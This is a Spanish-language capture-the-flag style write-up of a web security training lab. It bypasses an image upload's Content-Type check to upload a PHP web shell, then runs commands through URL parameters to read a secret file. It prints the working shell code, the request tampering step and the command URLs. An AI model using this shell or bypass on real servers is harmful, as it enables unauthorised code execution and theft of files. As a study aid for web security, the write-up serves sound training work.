File Upload Vulnerabilities Lab 2
Skills
- Web shell upload via Content-Type restriction bypass
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
contiene una función
de carga de imágenes vulnerable
que intenta evitar
que los usuarios suban
tipos de archivos inesperados
, pero se basa en verificar una entrada controlada por el usuario para hacerlo. Para resolver
el laboratorio
, debemos subir
una web shell
básica en PHP
, usarla para extraer
el contenido
del archivo /home/carlos/secret
y luego usar este secreto
utilizando el botón proporcionado en la barra del laboratorio. Podemos iniciar sesión
en nuestra cuenta
usando las siguientes credenciales: wiener:peter
Resolución
Al acceder
a la web
nos sale esto
Pulsamos en My account
e iniciamos sesión
con las credenciales wiener:peter
Vemos que existe un campo
de subida
de archivos
Si inspeccionamos
con donde se aloja
la imagen
vemos que es en la ruta /resources/images
Nos creamos
un archivo
llamado shell.php
y lo subimos
1
2
3
<?php
echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>
Al intentar subirlo vemos que nos da este error
Subimos
el archivo
nuevamente y capturamos
la petición
con Burpsuite
Cambiamos el Content-Type
a image/png
y subimos
el archivo
, posteriormente abrimos nuevamente el inspector
de chrome
y vemos que el archivo
subido se aloja
en /files/avatars
Si accedemos a https://0aa000d704efa5eb8202c09f005a0081.web-security-academy.net/files/avatars/shell.php?cmd=whoami
veremos que tenemos un RCE (Remote Code Execution)
Si accedemos a https://0aa000d704efa5eb8202c09f005a0081.web-security-academy.net/files/avatars/shell.php?cmd=ls%20/home/carlos
vemos un archivo
llamado secret
Leemos la información de ese archivo con https://0aa000d704efa5eb8202c09f005a0081.web-security-academy.net/files/avatars/shell.php?cmd=cat%20/home/carlos/secret
Pulsamos en Submit solution
y mandamos
nuestra solución